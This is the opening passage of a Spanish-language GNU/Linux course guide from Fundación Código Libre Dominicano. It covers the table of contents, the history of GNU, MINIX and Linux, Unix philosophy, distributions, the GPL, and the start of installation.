Você está na página 1de 164

Fundación Código Libre Dominicano

http://www.codigolibre.org

Guía para el
GNU/Diplomado
Para el Instructor y para el Estudiante

Fundación Código Libre Dominicana

Diplomado de GNU/Linux
1
Fundación Código Libre Dominicano
http://www.codigolibre.org

Tabla de contenido
Copyright ............................................................................7
Prefacio .............................................................................8
0.0 Historia GNU/Linux ..............................................................10
Stallman, sin drivers..................................................................10
0.1 Que es GNU/Linux / Creadores ....................................................11
Kernel monolítico de Linux.............................................................13
0.2 Sus Inicios .....................................................................13
0.3 Filosofía Unix ..................................................................13
Todo es un Archivo.....................................................................14
Multi-Usuario..........................................................................14
Multi-Tarea............................................................................14
La navaja Suiza........................................................................14
0.4 Distribuciones o Sabores ........................................................15
Linux y el proyecto GNU................................................................15
0.5 Licencia GPL ....................................................................16
0.6 Instalación y Particionamiento ..................................................16
Sobre el particionamiento:.............................................................17
Journaling.............................................................................17
Niveles del Journaling.................................................................18
0.7 Métodos de Instalación...........................................................21
0.8 Gestores de Arranque ............................................................21
Características de GRUB................................................................22
Terminología de GRUB...................................................................22
Interfaces de GRUB.....................................................................23
Proceso de inicio de GRUB..............................................................23
LILO...................................................................................24
LILO y el proceso de arranque de x86...................................................24
Diferencias entre LILO y GRUB..........................................................24
0.9 Practica Básico Capitulo 0.......................................................25
1.0 Comandos GNU / UNIX..............................................................25
1.1 Iniciando Linux..................................................................25
1.2 Que es el shell..................................................................25
1.3 Comandos Básicos.................................................................26
1.4 cd, ls, file, cat, mkdir, mv, rm, touch, more, less, wc, head, less, cp, diff,
find, locate, date, cal, whoami, echo, clear, exit...................................26
1.5 Variables........................................................................31
Manejo de Variables del Entorno .......................................................31
Definiendo variables locales Específicas de usuario....................................32
1.6 Archivos ocultos.................................................................33
1.7 Completando comandos con TAB.....................................................33
1.8 Alias............................................................................34
1.9 Comando history..................................................................34
1.10 Practica Básico Capitulo 1......................................................34
2.0 Jerarquía de Directorios.........................................................34
2.1 Estructura de directorios........................................................34
2.2 /................................................................................35
2.3 /home/...........................................................................36
2.5 /usr/............................................................................36
2.6 /opt/............................................................................38
2.7 /proc/...........................................................................38

Diplomado de GNU/Linux
2
Fundación Código Libre Dominicano
http://www.codigolibre.org

2.8 /etc/............................................................................39
2.9 /bin.............................................................................39
2.10 /sbin...........................................................................39
2.11 /tmp............................................................................40
2.12 /boot...........................................................................40
2.13 /mnt............................................................................40
2.14 /lib............................................................................40
2.15 Practica Básico Capitulo 2......................................................41
3.0 Expresiones Regulares y flujos de texto..........................................41
3.1 Comodines........................................................................41
3.2 Tuberías.........................................................................42
3.3 sed, grep y awk..................................................................42
sed....................................................................................42
grep...................................................................................42
awk....................................................................................43
3.4 sort.............................................................................43
3.5 cut..............................................................................43
3.6 expand...........................................................................44
3.7 mount............................................................................44
3.8 paste............................................................................44
3.9 pr...............................................................................44
3.10 split...........................................................................45
3.11 tac.............................................................................45
3.12 tr..............................................................................45
3.13 tee.............................................................................46
3.14 xargs...........................................................................46
3.15 Redireccionamiento .............................................................46
Entrada y salida.......................................................................46
Redireccionando stdout.................................................................47
Redireccionando stdin..................................................................47
Tuberías...............................................................................47
Redireccionando stderr.................................................................48
Fundamentos..........................................................................50
0.0 Instalación de Paquetes rpm y deb................................................50
0.1 Instalación y Desinstalación con rpm.............................................50
0.2 Instalación y Desinstalación con deb.............................................50
0.3 Manejadores de paquetes gráficos y de consola....................................51
0.4 Administración de Paquetes.......................................................51
0.5 Tipos de paquetes (rpm, deb, targz)..............................................52
0.6 Actualizar paquetes..............................................................52
0.7 Forzando paquetes................................................................52
0.8 Dependencias.....................................................................52
0.9 Cuestionar y Verificar paquetes..................................................52
0.10 Paquetes tar.gz.................................................................52
0.11 Comando tar.....................................................................53
0.12 gzip gunzip bzip2 bunzip2 zcat compress cpio afio...............................53
0.13 Compilando desde el fuente......................................................57
0.14 Construyendo paquetes...........................................................57
0.15 Practica Fundamentos Capitulo 0.................................................57
1.0 Sistema X Window ................................................................57
1.1 Servidor X ......................................................................58
1.2 Xorg.............................................................................59

Diplomado de GNU/Linux
3
Fundación Código Libre Dominicano
http://www.codigolibre.org

Instalación de Xorg....................................................................59
Configuración de X.....................................................................59
1.3 Protocolo X .....................................................................64
1.4 Administradores de Ventana ......................................................67
1.5 Entornos Gráficos (Desktop Manager o Destop Enviroment)..........................67
KDE....................................................................................68
GNOME..................................................................................68
1.6 Display Manager .................................................................69
Uso de XDM ............................................................................70
Alternativas a XDM ....................................................................71
1.7 Escritorio Remoto................................................................71
Elementos básicos .....................................................................71
Comunicación ..........................................................................72
Programas .............................................................................72
Modelo Cliente-servidor................................................................72
Características........................................................................73
Ventajas...............................................................................73
Desventajas............................................................................74
Dirección..............................................................................74
Ejemplos...............................................................................75
XDMCP .................................................................................75
X (conexión remota)....................................................................76
Xnest..................................................................................77
Para abrir un escritorio remoto .......................................................78
VNC....................................................................................78
vino...................................................................................79
NX.....................................................................................79
Objetivos de NX........................................................................80
1.8 Manejo Desktop...................................................................81
Multimedia.............................................................................81
Oficina................................................................................81
Internet...............................................................................82
Gráficos...............................................................................82
Programación...........................................................................82
Juegos.................................................................................82
Herramientas del sistema...............................................................83
Algunos consejos y comandos a NO EJECUTAR..............................................83
1.9 Editores Vi y Emacs .............................................................84
Emacs..................................................................................84
El minibuffer:.........................................................................84
1.9 VI...............................................................................85
1.10 Practica Fundamentos Capitulo 1.................................................86
Administración.......................................................................88
Procesos GNU/Linux...................................................................88
0.0 ¿Que es un proceso?..............................................................88
0.1 Manejo de procesos...............................................................88
0.2 Creando procesos.................................................................89
0.3 Comando ps.......................................................................89
0.4 Comando top......................................................................90
0.5 Estado de los procesos...........................................................91
0.6 CTRL+z, bg, fg y &...............................................................91
0.7 Comando jobs.....................................................................92
0.8 Enviando señales con kill........................................................92

Diplomado de GNU/Linux
4
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.9 Cambiando prioridad con nice/renice..............................................93


0.10 Procesos en /proc...............................................................94
0.11 Demonios........................................................................97
0.12 Runlevels.......................................................................97
0.13 init............................................................................98
0.14 Comando service.................................................................98
0.15 chkconfig.......................................................................98
0.16 Invoke-rc.d.....................................................................99
0.17 update-rc.d....................................................................100
0.18 Practica administración Capitulo 0.............................................100
1.0 Sistema de Archivos y Permisos..................................................100
1.1 Sistema de archivos ............................................................101
1.2 Tipos de sistemas de archivos...................................................101
1.3 Permisos de archivos y directorios (chmod,chown,chgrp)..........................101
1.4 Sticky bit, SUID y SGID.........................................................104
1.5 Links duros y simbólicos........................................................105
1.6 Inodos..........................................................................106
1.7 Comandos fdisk, mke2fs, cfdisk, fsck...........................................106
1.8 Sistema de archivos distribuidos (DFS)..........................................107
1.9 /etc/fstab /etc/mtab /etc/inittab...............................................108
1.10 Practica Administración Capitulo 1.............................................110
2.0 Administración de Usuarios......................................................110
2.1 Usuarios y Grupos...............................................................110
2.2 Cuenta root.....................................................................110
2.3 Comando su......................................................................110
2.4 Paquete sudo ...................................................................111
2.5 El archivo /etc/passwd..........................................................112
2.6 Creando un usuario..............................................................112
2.7 Creando, cambiando e identificando un grupo.....................................114
2.8 Comando finger..................................................................115
2.9 Archivos personales en /home....................................................115
2.10 /etc/skel......................................................................116
2.11 /etc/profile...................................................................116
2.12 Variables de usuario...........................................................117
2.13 /etc/shadow....................................................................118
2.14 Expiración de cuentas..........................................................119
2.15 Asignación de usuarios a otros grupos..........................................119
2.16 Practica Administración Capitulo 2.............................................119
3.0 Programando tareas y Backup.....................................................120
3.1 cron y sus archivos.............................................................120
3.2 crontab, at y batch.............................................................120
3.3 at .............................................................................121
3.4 batch...........................................................................122
3.5 Cuando hacer las Copias de Seguridad/Respaldo(Backups): ........................122
3.6 Donde almacenar los Backups ....................................................122
3.7 tar, cpio, afio ................................................................123
3.8 cpio............................................................................123
3.9 El Directorio /var/log .........................................................123
3.10 dmesg, last y lastlog .........................................................124
3.11 /etc/syslog.conf: .............................................................125
3.12 /etc/logrotate.conf: ..........................................................125

Diplomado de GNU/Linux
5
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.0 Introducción a Networking.......................................................127


Modelo OSI..........................................................................127
El modelo de referencia TCP/IP........................................................128
Comparación entre el modelo OSI y el modelo TCP/IP ...................................129
Similitudes ..........................................................................129
Diferencias ..........................................................................129
0.1 ifconfig .......................................................................129
0.2 resolv.conf.....................................................................131
0.3 iwconfig........................................................................132
0.4 iwlist..........................................................................134
0.5 ip .............................................................................134
0.6 route ..........................................................................134
0.7 traceroute......................................................................135
0.8 tcpdump ........................................................................135
0.9 arp.............................................................................135
0.10 nmap ..........................................................................136
0.11 netstat........................................................................136
0.12 netcat, o nc ..................................................................136
0.13 ping ..........................................................................137
0.14 dig............................................................................137
0.15 nslookup ......................................................................138
Glosario de términos................................................................139

Diplomado de GNU/Linux
6
Fundación Código Libre Dominicano
http://www.codigolibre.org

Copyright
Esta documentación es regida por los reglamentos de la GNU Free Documentation License y
la GNU General Public License v3, siéntase libre de copiar, modificar, aprender,
distribuir y redistribuir esta documentación; haga uso de su derecho como si fuere su
deber.

Diplomado de GNU/Linux
7
Fundación Código Libre Dominicano
http://www.codigolibre.org

Prefacio
Esta guía esta diseñada para marcar los parámetros y/o pasos a seguir al instructor en
la capacitación del estudiante, por otro lado, para que los estudiantes tengan un
resumen de lo que se abarca en el diplomado de GNU/Linux que se imparte en la Fundación
de Código Libre Dominicano.
Creemos firmemente que si el estudiante se apega a esta guía como fuente teórica, podrá
obtener los conocimientos necesarios para convertirse en un excelente administrador de
sistemas GNU/Linux. Este cuaderno fue iniciativa de José Paredes y Jonathan Montero.

Esta guía esta dedicada a:


Huáscar Martín Rodríguez: Por haber creído a ojos cerrados, porque cuando viste
creíste aun mas, porque aun después de tu partida, sabemos que seguirás creyendo en el
software libre, pero todavía mas, en nosotros.

Antonio Perpiñán: Por creer en nosotros y nunca dudar de lo que somos capaces cuando
contamos con su entera aprobación y confianza.

Cualquier sugerencia, corrección, duda, aclaración y/o comentario sobre este cuaderno
de trabajo, siéntase libre se enviar un correo a:
jparedes@codigolibre.org
jmontero@codigolibre.org

Diplomado de GNU/Linux
8
Fundación Código Libre Dominicano
http://www.codigolibre.org

GNU/Básico
0.0 Historia GNU/Linux
0.1 Que es GNU/Linux / Creadores
0.2 Sus Inicios 0.3 Filosofía Unix
0.4 Distribuciones o Sabores
0.5 Licencia GPL
0.6 Instalación y Particionamiento
0.7 Métodos de Instalación
0.8 Gestores de Arranque
0.9 Practica Básico Capitulo 0
1.0 Comandos GNU / UNIX
1.1 Iniciando Linux
1.2 Que es el shell
1.3 Comandos Básicos
1.4 (cd,ls,file,cat,mkdir,mv,rm,touch,more,less,wc,head.less.cp,diff,find,locate)
1.5 Variables
1.6 Archivos ocultos
1.7 Completando comandos con TAB
1.8 Alias
1.9 Comando history
1.10 Practica Básico Capitulo 1

2.0 Jerarquía de Directorios


2.1 Estructura de directorios
2.2 /
2.3 /home/
2.4 /var/
2.5 /usr/
2.6 /opt/
2.7 /proc/
2.8 /etc/
2.9 /bin
2.10 /sbin
2.11 /tmp
2.12 Practica Básico Capitulo 2

3.0 Expresiones Regulares y Flujos de Texto


3.1 Comodines
3.2 Tuberias
3.3 sed, grep y awk
3.4 sort
3.5 cut
3.6 expand
3.7 mount
3.8 paste
3.9 pr
3.10 split
3.11 tac
3.12 tr
3.13 tee
3.14 xargs
3.15 Redireccionamientos
3.16 Practica Básico Capitulo 3

Diplomado de GNU/Linux
9
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.0 Historia GNU/Linux


Para entender todo el movimiento del software libre, debemos situarnos a finales de la
década de los sesenta, principios de los setenta. En aquellos tiempos las grandes
compañías de ordenadores no otorgaban el valor que hoy en día se da al software. En su
gran mayoría eran fabricantes de ordenadores que obtenían sus principales ingresos
vendiendo sus grandes máquinas, a las que incorporaban algún tipo de sistema operativo
y aplicaciones. Las universidades tenían permiso para tomar y estudiar el código fuente
del sistema operativo para fines docentes. Los mismos usuarios podían pedir el código
fuente de drivers y programas para adaptarlos a sus necesidades. Se consideraba que el
software no tenía valor por sí mismo si no estaba acompañado por el hardware que lo
soportaba. En este entorno, los laboratorios Bell (AT&T) diseñaron un sistema operativo
llamado UNIX, caracterizado por la buena gestión de los recursos del sistema, su
estabilidad y su compatibilidad con el hardware de diferentes fabricantes (para
homogeneizar todos sus sistemas). Este último hecho fue importantísimo (hasta entonces
todos los fabricantes tenían sus propios operativos incompatibles con los otros), ya
que devino el factor que le proporcionó mucha popularidad.

Stallman, sin drivers


El mismo Stallman cuenta como anécdota lo mucho que se enfadó al descubrir que la
compañía que les había vendido una nueva impresora para el laboratorio donde trabajaba
no le quería facilitar el código fuente de los drivers. ¡Él sólo quería modificarlos
para que le avisara automáticamente cuando se atascaba el papel! La compañía se negó a
proporcionárselos.

Poco a poco, las grandes empresas empezaron a tomar conciencia del valor del software:
primero fue IBM la que en 1965 dejó de dar el código fuente de su sistema operativo, a
finales de los setenta Digital Research empezó a vender el suyo, etc. Este hecho hizo
que todas las compañías se dieran cuenta de que el software podía ser muy rentable y
les podía aportar grandes beneficios. A partir de este hecho, la mayoría de las
empresas empezaron a poner reticencias a dejar el código fuente de sus programas y
sistemas operativos, y empezaron a vender sus programas como un valor añadido a su
hardware. En este entorno cada vez más cerrado, Richard Stallman (que trabajaba en el
MIT, Massachusetts Institute of Technology) se sintió indignado al comprobar que cada
vez era más difícil conseguir el código fuente de los programas que utilizaba para
adaptarlos a sus necesidades, tal como había hecho hasta entonces.
A partir de ese momento, Stallman decidió ser consecuente con sus ideales e iniciar un
gran proyecto para intentar abrir otra vez el código fuente de los programas.
Consciente de que no podría conseguir que las compañías cedieran en este punto, se
propuso crear su propio sistema operativo y aplicaciones iniciando un proyecto
denominado GNU.
De especial interés para entender los motivos que llevaron a Stallman a iniciar GNU es
su primer manifiesto, el documento donde explicó a toda la comunidad en qué consistiría
el proyecto, cómo lo orientaría y por qué tenía que hacerlo. En él empezó a describir
el concepto de software libre y para qué creía necesario que programadores y
desarrolladores de todo el mundo contribuyeran con él.

Aunque en muchas ocasiones se confunde el concepto de software libre con el de software


gratuito (en inglés, free tiene los dos significados), en posteriores documentos se ha
dejado muy claro que el software libre no debe por qué ser gratuito. Hemos de entender
como software libre programas de los cuales podemos conseguir su código fuente,

Diplomado de GNU/Linux
10
Fundación Código Libre Dominicano
http://www.codigolibre.org

estudiarlo, modificarlo y redistribuirlo sin que nos obliguen a pagar por ello. Lo que
debemos tener claro es que sí que podemos pedir el dinero que queramos por los
programas y su código fuente, el soporte que podemos ofrecer a los usuarios, los libros
que vendamos o el material que proporcionemos, tal y como muchas compañías que
distribuyen GNU/Linux hacen. Sin embargo, en ningún momento, podemos obligar a que los
usuarios no distribuyan el software que les hemos vendido. Éste debe poder ser
distribuido de manera libre. Es un modo diferente de entender el software al que
estamos acostumbrados. En muchos de los textos de la FSF (Free Software Foundation) se
habla más de filosofía que de ingeniería. Debemos entender todo este movimiento más
como un modo de pensar o hacer las cosas que como una compañía más de software.

La filosofía que en la FSF se tiene del software lo define con las siguientes cuatro
libertades:
•La libertad 0: Se refiere a la libertad de poder usar el programa para cualquier
propósito.
•La libertad 1: Es la que permite estudiar cómo funciona el programa y adaptarlo a
las propias necesidades. El acceso al código fuente es una condición necesaria para
garantizar esta libertad.
•La libertad 2 : Es la que permite distribuir libremente copias del software, ayudando
al vecino.
•La libertad 3: Es la que permite mejorar el programa y hacer públicas las propias
mejoras, en beneficio de toda la comunidad. El acceso al código fuente, asimismo, es un
requisito imprescindible para asegurar esta libertad.

Para dar todas estas libertades al software que se desarrollaba en el proyecto y a los
usuarios finales del mismo se escribió la licencia GPL (General Public License), con la
cual se ha protegido todo este tipo de programas. Esta licencia pone por escrito las
ideas anteriormente comentadas.
El proyecto empezó a producir software a partir de 1984, comenzando con el desarrollo
de todas las herramientas necesarias para poder implementar un sistema operativo
completo. Aunque realizar un proyecto de estas características es un proceso largo y
complejo, desde el principio muchos programadores y desarrolladores de software se
vieron cautivados por la idea de Stallman y empezaron a colaborar con él de manera
gratuita. La comunidad no paró de crecer, y poco a poco empezaron a disponer de las
herramientas necesarias (editores, compiladores, etc.) para implementar el núcleo del
sistema operativo, que era la tarea que requería las herramientas que se estaban
desarrollando.
Desde el primer momento se quiso crear un sistema operativo parecido a UNIX y siguiendo
las normas POSIX (Portable Operating System Interface). Si bien UNIX también tenía sus
problemas y carencias, era, y sigue siendo, suficientemente bueno como para adaptarse a
la mayoría de las necesidades. La tarea de diseñar y escribir el núcleo del sistema
operativo fue la que se dejó para el final del proceso. Aún actualmente está por
finalizar definitivamente y el núcleo del GNU, llamado Hurd, permanece en fase de
desarrollo.

0.1 Que es GNU/Linux / Creadores


En este contexto, y cuando la FSF todavía no tenía ningún núcleo estable para su
sistema operativo, un profesor de la Universidad de Holanda, Andrew Tanenbaum, decidió
escribir un sistema operativo para que sus estudiantes pudieran estudiarlo. Igual que
Stallman, hasta el momento había podido utilizar el código fuente del UNIX de AT&T para
que sus alumnos aprendieran a diseñar sistemas operativos. Su idea era escribir un

Diplomado de GNU/Linux
11
Fundación Código Libre Dominicano
http://www.codigolibre.org

sistema operativo que pudiera ser estudiado y modificado por quien quisiera hacerlo. En
1987 se puso manos a la obra y llamó a su proyecto mini UNIX, que dio lugar a MINIX.
Al no utilizar ni una sola línea de código del UNIX de AT&T, no hay ninguna restricción
en tomar el código, utilizarlo y modificarlo libremente.
Tecnología micro-kernel La tecnología micro-kernel se basa en dividir las diferentes
funcionalidades del núcleo de un sistema operativo en programas totalmente separados y
que se comunican entre sí. Esto lo hace muy modular, lo que facilita muchísimo el test,
la detección y la corrección de errores, el mantenimiento, etc. Actualmente, algunos
sistemas operativos como Amoeba, Chorus, Mach o WindowsNTTM han incorporado este tipo
de tecnología.
Tanenbaum quiso crear un sistema orientado a fines docentes, por lo que lo diseñó
utilizando una arquitectura micro-kernel, ideal para una fácil comprensión, y aportando
una tecnología muy novedosa para la época que le permitía versatilidad,
multiplataforma, etc. Éste ha sido uno de los puntos fuertes y débiles a la vez del
MINIX: aunque el sistema es una pequeña joya para su estudio y diseño, es muy probable
que nunca se pueda utilizar en entornos reales.
Se optó por hacerlo entendedor, modular y muy pedagógico, pero no rápido. De todos
modos, Tanenbaum tampoco pretendía eso; a lo largo de los años MINIX ha ido
evolucionando y realmente hoy en día todavía sigue existiendo y siendo estudiado por
muchos alumnos de universidades de todo el mundo.
Aquí es cuando entra en juego Linux. Mientras la FSF seguía con su gran proyecto
proporcionando herramientas para la construcción de un sistema operativo, Tanenbaum
orientaba MINIX para fines docentes y muchas empresas seguían haciendo evolucionar sus
propias versiones de UNIX.
Linus Torvalds, estudiante de la Universidad de Helsinki, decide crear en agosto de
1991 su propio núcleo para un nuevo sistema operativo, Linux. Su idea era crear un UNIX
para PC con el fin de que todos los que quisieran lo pudieran utilizar en su ordenador.
La primera aparición en escena que hizo fue en un debate sobre MINIX y sistemas
operativos, donde expuso las siguientes ideas:

Carta en ingles
Hello everybody out there using minix -
I'm doing a (free) operating system (just a hobby, won't be big and professional like
gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get
ready. I'd like any feedback on things people like/dislike in minix, as my OS resembles
it somewhat (same physical layout of the file-system (due to practical reasons) among
other things).
I've currently ported bash(1.08) and gcc(1.40), and things seem to work.
This implies that I'll get something practical within a few months, and
I'd like to know what features most people would want. Any suggestions
are welcome, but I won't promise I'll implement them :-)

Carta en español
Hola a todos los que usan minix
Estoy haciendo un sistema operativo (gratuito) (sólo un hobby, no será como GNU, grande
y profesional) de 386 (486) AT clones. Esto ha estado gestando desde abril, y está
empezando a prepararse. Me gustaría algún comentario sobre las cosas que a la gente le
gusta/disgusta de minix, ya que mi sistema operativo que se asemeja un poco (misma
disposición física del sistema de archivos (por razones prácticas), entre otras cosas).
Actualmente he portado bash (1.08) y gcc (1.40), y las cosas parecen funcionar.
Esto implica que tendré algo práctico dentro de unos meses, y me gustaría saber qué

Diplomado de GNU/Linux
12
Fundación Código Libre Dominicano
http://www.codigolibre.org

características de la mayoría de la gente quiere. Cualquier sugerencia es bienvenida,


pero no voy a prometer que voy a ponerlas en práctica :-)

Si accediéramos al foro de debate donde apareció este primer mensaje, veríamos cómo
rápidamente gente de todo el mundo empezó a interesarse por este nuevo sistema, que al
utilizar el compilador e intérprete de comandos de GNU (gcc y bash) como piezas
fundamentales, también tenía las características de software libre. Aunque en palabras
del mismo Torvalds, si él hubiera sabido la cantidad de trabajo necesario para lograr
que su idea funcionase, nunca lo hubiera hecho: esfuerzos de muchos expertos en
informática de todo el mundo hicieron posible este proyecto.

Kernel monolítico de Linux


Linux, el núcleo de GNU/Linux, es de tipo monolítico. Esto indica que no se separan
sus diferentes funcionalidades en distintos módulos, sino que todo forma parte de un
mismo programa. El principal inconveniente de este tipo de diseño es que la
localización de errores y su mantenimiento son muy costosos. En contrapartida, el
rendimiento que se consigue es mucho mayor que en otros tipos de diseño.

De hecho, en los primeros años de su existencia, GNU/Linux se identificaba como el


sistema operativo de los hackers. Su difícil instalación, manipulación y falta de
drivers lo hacían una herramienta apta únicamente para gente muy entendida en el tema.
Fueron estos primeros usuarios los que diseñaron los drivers para los discos,
impresoras, tarjetas, etc. y los que empezaron a dar a conocer al mundo este sistema.
Poco a poco, el número de usuarios empezó a crecer y actualmente ya existen muchas
empresas y grupos de usuarios que crean sus propias distribuciones de GNU/Linux.

0.2 Sus Inicios


Desde 1984, Richard Stallman y muchos voluntarios están intentando crear un sistema
operativo libre con un funcionamiento similar al UNIX, recreando todos los componentes
necesarios para tener un sistema operativo funcional que se convertiría en el sistema
operativo GNU. En el comienzo de los años 1990, después de seis años, GNU tenía muchas
herramientas importantes listas, como editores de texto, compiladores, depuradores,
intérpretes de órdenes etc, excepto por el componente central: el núcleo. Con el
surgimiento del kernel Linux, esta laguna fue llenada y surgió el sistema operativo con
el kernel Linux en conjunto con las herramientas GNU. De esta manera, Stallman juzga o
indica, que este sistema operativo es una "versión modificada" del sistema GNU y por lo
tanto debe tener la denominación GNU/Linux. Esta denominación resolvería la confusión
entre el núcleo y el sistema operativo completo a que puede llevar, y de hecho ha
llevado, la denominación Linux en solitario. Stallman también espera que, con el aporte
del nombre GNU, se dé al proyecto GNU que él encabeza el reconocimiento que cree
merecer, por haber creado las aplicaciones de sistema imprescindibles para ser un
sistema operativo compatible con UNIX.

0.3 Filosofía Unix


¿Por qué tuvo tanto éxito el enfoque de UNIX? Aparentemente, su simplicidad fue un
factor decisivo. En su diseño, sus creadores antepusieron la facilidad de comprensión a
la eficiencia, de manera que era fácil entender el código y, por ende, adaptarlo a las
necesidades de otros. UNIX no es una reliquia del pasado; de hecho, la mayor parte de
los sistemas operativos actuales son una
evolución de UNIX. Por eso conviene conocer los principios en los que se fundamenta,

Diplomado de GNU/Linux
13
Fundación Código Libre Dominicano
http://www.codigolibre.org

puesto que esos mismos principios estarán presentes (de una u otra manera) en los
sistemas que hoy podamos manejar.

Todo es un Archivo
Esta idea, propia de la orientación a objetos (si bien la precede), consiste en que la
unidad básica para la interacción con el sistema es una entidad llamada archivo que,
como los archivos en papel, puede abrirse, leerse, avanzar hojas hacia delante y hacia
atrás, escribir en él, y cerrarse. Este modelo tan sencillo puede parecer ingenuo, pero
ha probado ser extremadamente valioso. Permite a un programa acceder transparentemente
a un documento de texto o a un puerto de comunicaciones.

Multi-Usuario
En un sistema multiusuario, cuando alguien quiere acceder a la máquina, debe
identificarse, para poder ser reconocido por ésta y permitirle la entrada al sistema,
si se trata de un usuario autorizado. Este proceso es el que se conoce como logging in.
Durante este proceso, la máquina nos preguntará nuestro nombre de usuario(login) y
nuestra contraseña(password). Es el administrador del sistema(root) quien debe crearnos
una cuenta en la máquina y quien nos dará los datos. Una vez entremos a nuestra cuenta,
nos encontraremos dentro de nuestro directorio HOME (el directorio que nos asigna el
administrador para que guardemos nuestros trabajos), y nos aparecerá el prompt del
sistema: esto es un símbolo que nos indica que la máquina está lista para recibir
comandos. Puede ser algo parecido a:
Linux:/home/Usuario#

o bien

Linux:~#

o cambiando # por $, pero en todos los sistemas aparecen de forma parecida a esta. El
nombre anterior a los dos puntos es el nombre de la máquina en la que trabaja. El
símbolo ~ en la ruta significa que estamos en nuestro directorio HOME. Hay sistemas
UNIX que muestran el directorio completo, y los hay que no, para saber si estamos en
nuestro HOME, existe ese símbolo de ~.

Multi-Tarea
La palabra multitarea describe la habilidad de ejecutar varios programas al mismo
tiempo.
GNU/LINUX utiliza la llamada multitarea preventiva, la cual asegura que todos los
programas que se están utilizando en un momento dado serán ejecutados, siendo el
sistema operativo el encargado de ceder tiempo de microprocesador a cada programa.

La navaja Suiza
UNIX incorpora un conjunto de herramientas que guardan cierta analogía con una navaja
multiusos. Son simples, pero hacen muy bien su trabajo. En lugar de construir programas
muy complejos, UNIX proporcionaba muchas pequeñas herramientas, y un esquema para poder
combinarlas de forma efectiva. Este diseño escala muy bien, permitiendo al sistema
crecer, incorporar nuevas herramientas y, a la vez, ser compatible hacia atrás.

Diplomado de GNU/Linux
14
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.4 Distribuciones o Sabores


En la actualidad, existen muchas distribuciones diferentes basadas en GNU/Linux. Las
hay para toda clase de ordenadores y dispositivos electrónicos: ordenadores portátiles
o de sobremesa, pocketPC o PDA, puntos de acceso de redes inalámbricas, etc. La
naturaleza del software libre permite esto: cualquiera puede tomar el código
desarrollado hasta el momento y adaptarlo a sus propias necesidades. Es un hecho que,
cada vez más, empresas y usuarios eligen sistemas basados en GNU/Linux por sus elevadas
prestaciones y la cantidad de software disponible.

Linux y el proyecto GNU


Aunque muchas distribuciones de GNU/Linux se denominan solamente Linux, es importante
que diferenciemos que realmente Linux es el núcleo del sistema operativo y que el
proyecto GNU es el que realmente ha aportado mucha de la estructura para el
funcionamiento del mismo.
De todos modos, aunque existen decenas de distribuciones, hay algunas más populares que
se han extendido mucho. La filosofía de software libre provoca que muchas empresas que
han creado sus propias distribuciones de GNU/Linux no restrinjan el acceso a su código.
Aun así, el soporte que ofrecen y el material que venden les aportan beneficios, lo que
permite su subsistencia.

Así mismo, cabe considerar que en muchas de estas distribuciones se incluye software
propietario que algunos usuarios prefieren, si bien en muchos casos existen programas
homólogos con licencia Free Software.
A continuación realizaremos una breve descripción de algunas de las distribuciones de
GNU/Linux:

MCC Interim Linux : es una distribución Linux obsoleta inicialmente desarrollada en


febrero de 1992 por Owen Le Blanc del Manchester Computing Centre (MCC), (parte de la
Universidad de Manchester, Inglaterra). MCC Interim Linux tiene la distinción de haber
sido la primera distribución Linux capaz de ser instalada independientemente en una
computadora.

Slackware: una de las primeras distribuciones que aparecieron. Fue creada por Patrick
Volkerding y tuvo un gran éxito en sus primeros años de existencia.

Debian GNU/Linux : una de las primeras distribuciones de GNU/Linux que aparecieron y


aún siguen existiendo y evolucionado. El sistema de paquetes nos permite diferenciar
claramente el software libre del que no lo es, lo que nos permite disponer de todo el
sistema solamente con programas de licencia Free Software. Está desarrollada por un
grupo de colaboradores distribuidos por todo el mundo y no cuenta con el respaldo de
ninguna empresa. Aunque es de las más estables y seguras que existen, su sistema de
instalación y configuración necesita de conocimientos previos.

RedHat Linux: junto con SuSE, es una de las distribuciones de mayor popularidad.
Está creada por una empresa de Estados Unidos y aporta software de gran calidad. Tiene
un entorno muy intuitivo que facilita mucho su instalación y configuración.

SuSE Linux: aunque es una distribución creada bastante recientemente, ha tenido una
gran difusión. Está desarrollada por una empresa alemana y aporta mucho software
propietario de calidad. Es muy completa y fácil de instalar y mantener, aunque en

Diplomado de GNU/Linux
15
Fundación Código Libre Dominicano
http://www.codigolibre.org

algunos aspectos no se siguen algunos de los estándares de la comunidad.

Knoppix: distribución en un live-CD basada en Debian. Detecta automáticamente todo


tipo de hardware y aporta el último escritorio de KDE y la suite OpenOffice.org. Muy
útil para demostraciones y usuarios noveles en el sistema.

Fedora: es una distribución Linux para propósitos generales basada en RPM, que se
mantiene gracias a una comunidad internacional de ingenieros, diseñadores gráficos y
usuarios que informan de fallos y prueban nuevas tecnologías. Cuenta con el respaldo y
la promoción de Red Hat.

Ubuntu: es una distribución Linux que ofrece un sistema operativo predominantemente


enfocado a ordenadores de escritorio aunque también proporciona soporte para
servidores. Basada en Debian GNU/Linux, Ubuntu concentra su objetivo en la facilidad de
uso, la libertad en la restricción de uso, los lanzamientos regulares (cada 6 meses) y
la facilidad en la instalación. Existe tanto en formato CD-live como en formato
instalable. Detecta automáticamente todo tipo de hardware (incluso el más moderno).

Tampoco podemos olvidar que existen otros sistemas operativos compatibles con UNIX y
los estándares que se siguen actualmente. Muchos de los conceptos y las herramientas
que veremos a lo largo del curso también servirán para estos otros. En especial debemos
destacar GNU/Hurd (núcleo desarrollado por el proyecto GNU) y FreeBSD.

0.5 Licencia GPL


La Licencia Pública General de GNU o más conocida por su nombre en inglés GNU
General Public License o simplemente su acrónimo del inglés GNU GPL, es una
licencia creada por la Free Software Foundation a mediados de los 80, y está orientada
principalmente a proteger la libre distribución, modificación y uso de software. Su
propósito es declarar que el software cubierto por esta licencia es software libre y
protegerlo de intentos de apropiación que restrinjan esas libertades a los usuarios.

Este tipo de licenciamiento garantiza que el usuario disponga de las libertades básicas
como son las siguientes.

Libertad 0: de ejecutar el programa cuando quieras.


Libertad 1: de estudiar el código fuente y modificarlo para que haga lo que quieras.
Libertad 2: de copiar el programa y distribuir las copias cuando quieras.
Libertad 3: de publicar o distribuir una versión modificada cuando quieras.

0.6 Instalación y Particionamiento


La instalación de Linux es muy sencilla, lo único requerido es tener conocimientos
previos respecto a las particiones del disco duro. Muchas variantes (como openSUSE) se
distribuyen en un disco vivo (en inglés LiveCD o LiveDVD), que permite que el sistema
se ejecute en el computador sin tocar el disco duro.
